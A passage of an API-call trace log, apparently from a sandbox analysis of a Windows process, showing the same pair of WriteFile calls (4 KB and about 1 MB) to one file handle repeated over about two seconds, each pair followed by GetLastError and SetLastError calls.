[0112.960] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.960] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0112.985] GetLastError () returned 0x0
[0112.985] SetLastError (dwErrCode=0x0)
[0112.985] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0112.985] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.011] GetLastError () returned 0x0
[0113.011] SetLastError (dwErrCode=0x0)
[0113.011] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.011] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.037] GetLastError () returned 0x0
[0113.037] SetLastError (dwErrCode=0x0)
[0113.037] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.037] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.063] GetLastError () returned 0x0
[0113.063] SetLastError (dwErrCode=0x0)
[0113.063] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.064] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.089] GetLastError () returned 0x0
[0113.089] SetLastError (dwErrCode=0x0)
[0113.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.118] GetLastError () returned 0x0
[0113.118] SetLastError (dwErrCode=0x0)
[0113.118] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.118] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.278] GetLastError () returned 0x0
[0113.278] SetLastError (dwErrCode=0x0)
[0113.278] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.278] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.350] GetLastError () returned 0x0
[0113.350] SetLastError (dwErrCode=0x0)
[0113.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.376] GetLastError () returned 0x0
[0113.376] SetLastError (dwErrCode=0x0)
[0113.376] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.376] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.401] GetLastError () returned 0x0
[0113.401] SetLastError (dwErrCode=0x0)
[0113.401] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.402] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.427] GetLastError () returned 0x0
[0113.427] SetLastError (dwErrCode=0x0)
[0113.428] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.428] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.453] GetLastError () returned 0x0
[0113.454] SetLastError (dwErrCode=0x0)
[0113.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.480] GetLastError () returned 0x0
[0113.480] SetLastError (dwErrCode=0x0)
[0113.480] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.481] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.505] GetLastError () returned 0x0
[0113.505] SetLastError (dwErrCode=0x0)
[0113.505] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.506] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.531] GetLastError () returned 0x0
[0113.531] SetLastError (dwErrCode=0x0)
[0113.531] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.531] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.559] GetLastError () returned 0x0
[0113.559] SetLastError (dwErrCode=0x0)
[0113.559] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.559] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.625] GetLastError () returned 0x0
[0113.625] SetLastError (dwErrCode=0x0)
[0113.625] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.626] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.651] GetLastError () returned 0x0
[0113.651] SetLastError (dwErrCode=0x0)
[0113.651] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.651] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.718] GetLastError () returned 0x0
[0113.718] SetLastError (dwErrCode=0x0)
[0113.718] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.718] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.743] GetLastError () returned 0x0
[0113.743] SetLastError (dwErrCode=0x0)
[0113.743] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.744] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.770] GetLastError () returned 0x0
[0113.770] SetLastError (dwErrCode=0x0)
[0113.770] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.771] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.795] GetLastError () returned 0x0
[0113.795] SetLastError (dwErrCode=0x0)
[0113.796] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.796] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.821] GetLastError () returned 0x0
[0113.821] SetLastError (dwErrCode=0x0)
[0113.821] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.822] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.847] GetLastError () returned 0x0
[0113.847] SetLastError (dwErrCode=0x0)
[0113.847] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.847] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.873] GetLastError () returned 0x0
[0113.873] SetLastError (dwErrCode=0x0)
[0113.874] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.874] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.901] GetLastError () returned 0x0
[0113.901] SetLastError (dwErrCode=0x0)
[0113.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0113.960] GetLastError () returned 0x0
[0113.960] SetLastError (dwErrCode=0x0)
[0113.960] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0113.961] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.031] GetLastError () returned 0x0
[0114.031] SetLastError (dwErrCode=0x0)
[0114.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.102] GetLastError () returned 0x0
[0114.102] SetLastError (dwErrCode=0x0)
[0114.102] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.102] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.127] GetLastError () returned 0x0
[0114.127] SetLastError (dwErrCode=0x0)
[0114.127] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.127] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.153] GetLastError () returned 0x0
[0114.153] SetLastError (dwErrCode=0x0)
[0114.153] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.153] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.178] GetLastError () returned 0x0
[0114.178] SetLastError (dwErrCode=0x0)
[0114.179] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.179] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.205] GetLastError () returned 0x0
[0114.205] SetLastError (dwErrCode=0x0)
[0114.205] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.205] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.311] GetLastError () returned 0x0
[0114.311] SetLastError (dwErrCode=0x0)
[0114.311] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.312] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.401] GetLastError () returned 0x0
[0114.402] SetLastError (dwErrCode=0x0)
[0114.402] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.402] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.470] GetLastError () returned 0x0
[0114.470] SetLastError (dwErrCode=0x0)
[0114.470] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.470] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.536] GetLastError () returned 0x0
[0114.536] SetLastError (dwErrCode=0x0)
[0114.536] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.537] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.563] GetLastError () returned 0x0
[0114.564] SetLastError (dwErrCode=0x0)
[0114.564] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.564] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.589] GetLastError () returned 0x0
[0114.589] SetLastError (dwErrCode=0x0)
[0114.589] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.590] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.616] GetLastError () returned 0x0
[0114.616] SetLastError (dwErrCode=0x0)
[0114.616] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.616] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.641] GetLastError () returned 0x0
[0114.642] SetLastError (dwErrCode=0x0)
[0114.642] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.642] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.668] GetLastError () returned 0x0
[0114.668] SetLastError (dwErrCode=0x0)
[0114.668] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.669] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.693] GetLastError () returned 0x0
[0114.694] SetLastError (dwErrCode=0x0)
[0114.694] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
